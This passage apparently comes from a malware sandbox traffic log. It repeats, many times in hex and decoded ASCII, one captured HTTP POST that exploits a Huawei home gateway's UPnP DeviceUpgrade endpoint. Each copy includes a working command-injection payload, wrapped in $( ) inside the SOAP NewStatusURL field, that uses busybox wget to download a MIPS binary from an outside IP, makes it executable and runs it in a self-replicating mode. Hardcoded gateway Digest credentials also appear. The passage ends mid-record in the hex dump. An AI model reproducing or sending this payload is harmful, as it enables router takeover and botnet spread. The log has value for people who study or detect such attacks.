2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 